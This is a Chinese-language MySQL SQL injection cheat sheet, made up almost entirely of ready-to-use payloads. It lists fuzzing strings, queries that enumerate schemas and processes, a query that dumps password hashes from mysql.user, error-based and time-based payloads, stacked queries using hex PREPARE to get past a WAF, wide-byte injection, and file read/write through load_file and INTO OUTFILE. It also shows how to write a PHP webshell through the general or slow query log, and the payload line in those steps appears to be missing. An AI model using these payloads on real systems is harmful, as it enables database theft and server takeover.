sql注入 mysql 篇 详细使用方式

 Fuzz注入点

  • ' / "
  • ()
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >>  || |  &  &&
  • ~
  • !
  • @(局部变量获取)  @@ (全部变量获取)
  • ``

    信息收集

    数据库类型获取

    @@innodb_version 获取当前数据库中InnoDB存储引擎的版本号

    @@socket   socket(默认设置是MySQL)。

    @@shared_memory_base_name  共享内存块起一个名字(默认的名字是MySQL)。

    @@version  数据库版本

    @@version_comment 数据库类型

    VERSION()

    数据库名

    DATABASE()

    SCHEMA()

    数据库用户名

    SESSION_USER() (session用户名)

    SYSTEM_USER()  (系统用户名)

    USER() 当前用户名

    数据库服务器绝对地址获取

    @@basedir   数据库基础地址

    @@character_sets_dir  可用字符集文件的目录名称

    @@datadir 默认安装路径

    @@general_log_file 日志的存放位置

    @@lc_messages_dir 错误信息的存储目录

    @@log_error  错误日志文件

    @@pid_file 数据进程ID pid文件

    @@plugin_dir  mysql的插件目录

    @@relay_log_basename  中转日志文件的名称和路径

    @@relay_log_index 在同一目录

    @@slave_load_tmpdir   内存临时表

    @@slow_query_log_file  MySQL数据库慢查询日志存储路径

    @@tmpdir  硬盘上临时表所在的位置

    @@language

    其他信息获取

    @@character_set_database  默认数据库字符集

    @@general_log   日志是否开启

    @@port      数据库端口

     @@version_compile_os   获取操作系统信息

    @@version_compile_machine   运行的是64位还是32位

    @@hostname  服务器用户名

    @@secure_file_priv  为空null  mysql是没有写入文件目录权限 不为空会显示可以导入导出的文件地址

    connection_id()  mysql服务器连接数

    mysql last_Insert_id()  返回插入数据第一条的id

    FOUND_ROWS() 返回查询的数据数量

    count(*) 返回查询的数据数量

    row_count() 对于 INSERT、UPDATE、DELETE 查询,可以使用以下语句获取受影响的行数

    字段数判断

    Order by + 数字  进行判断

    union+select+null,null  不断加null进行判断字段

    information_schema库查询当前库所有字段对应得表

    SELECT group_concat(concat_ws('_______',TABLE_NAME,column_name) SEPARATOR '--|||--') FROM information_schema.`COLUMNS` WHERE table_schema=SCHEMA()

    information_schema库进程情况查询

    SELECT group_concat(concat_ws('_____',user,host,db,state) SEPARATOR '--|||--') FROM information_schema.processlist

    当前数据库账号权限查询

    SELECT group_concat(concat_ws('_____',GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE)) FROM information_schema.user_privileges

    所有数据库用户账号查询(需要高权限sqlmap 用的就是这个)

    SELECT group_concat(concat_ws('_____',HOST,user,authentication_string)) FROM mysql.user

    常规操作函数

    exsits ()  判断是否存在

    Substring() 截取字符  example : substring(username,1,1)

    if(1=1,'foo','bar'); return 'foo' 

    Limit 1,1

    Ascii

    char()   example : SELECT char(0x41) 将ascii码转化为字符串

    Ascii()   example :select ascii('hi') 将字符串转化为ascii码

    Ord()    exmaple :  select ORD('2')  单字节返回ascii编码

    ASCII码   example :SELECT 0x414243 => return ABC  

    拼接函数

    concat()

    concat_ws()

    group_concat()

    延时函数(延时注入)

     sleep(1)

     BENCHMARK(5000000, MD5('test'))

    注释

    --     example:SELECT 1 -- comment

    #       example:SELECT 1 # comment

    /**/     example:SELECT /*comment*/1

    /*!*/     example:  /*!xxx*/

    报错注入

    8.x>mysql>5.0

    select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a

    mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入

    Select extractvalue(1, concat(0x5c,(select user()))) 

    Select pdatexml(0x3a,concat(1,(select user())),1)

    mysql>=5.7

    Select  ST_LatFromGeoHash((select * from(select * from(select user())a)b))

    SELECT ST_PointFromGeoHash(version(),1)

    5.5

    Select exp(~(SELECT * from(select user())a))    

    MySQL >= 5.6.X - 显错<=200

    Select GTID_SUBTRACT(version(), 1)

    Select GTID_SUBSET(version(), 1)

     基于geometric的报错注入

    Mysql<5.5.49

    GeometryCollection((select * from (select * from(select user())a)b))

    polygon((select * from(select * from(select user())a)b))

    multipoint((select * from(select * from(select user())a)b))

    multilinestring((select * from(select * from(select user())a)b))

    LINESTRING((select * from(select * from(select user())a)b))

    multipolygon((select * from(select * from(select user())a)b))

    堆叠注入

    通过在存在注入的语句添加 ; 进行注入

    //16进制的select语句  可以绕过select等禁用情况的waf

    mysql> SET @s = 0x111;

    mysql> PREPARE stmt2 FROM @s;

    mysql> EXECUTE stmt2;

    宽字节注入

    前提 数据库使用编码方式

    GBK、GB18030、BIG5、Shift_JIS

    通过在'前添加%df编码掉/转义符号

    文件读写操作

    前提(前面已经给出查看和获取方式)

    用户角色有写文件权限

    知晓文件绝对路径

    写入的路径存在写入权限@@secure_file_priv、

    当secure_file_priv为空,就可以读取全部磁盘的文件。

    当secure_file_priv为G:\,就可以读取G盘的文件。

    当secure_file_priv为null,load_file就不能加载文件

    文件读取

    Select  1,load_file('C:\\samples\\1.txt'),3

    文件写入

    SELECT * INTO OUTFILE  ‘/path/to/employee.txt’  ( 多行操作)

    SELECT * INTO Dumpfile ‘/path/to/employee.txt’   (单行操作)

    dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

    基于日志的文件写入

    必须拥有super权限

    方法一:

    Select  @@general_log    查看日志是否开启1为开启

    Select   @@general_log_file  查看日志位置

    set global  general_log = on;

    set global general_log_file = 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\1.php'

    select '';

    方法二:(mysql慢日志  自己翻数据库全局变量找到的  不知道有没有传开)

    Select  @@slow_query_log    查看日志是否开启1为开启

    Select   @@slow_query_log_file  查看日志位置

    Select  @@long_query_time  查看多久才会记录到慢日志

    堆叠注入使用

    Set long_query_time=0;(执行零秒就会保存,默认10秒才会保存日志)

    set global  slow_query_log = on;

    set global  slow_query_log_file= 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\2.php'

    select '';

    UDF提权命令执行(此篇过于详细我不重复了)

    https://blog.csdn.net/qq_35938621/article/details/119716077

    二次注入

    数据从数据库中取出来时被我们存入的数据进行了SQL注入

    一般需要俩步

    存入  然后 取出 且取出使用时那个位置存在sql注点

    参考

    https://blog.csdn.net/qq_35938621/article/details/119716077

    4.1.6. SQL注入小技巧 — Web安全学习笔记 1.0 文档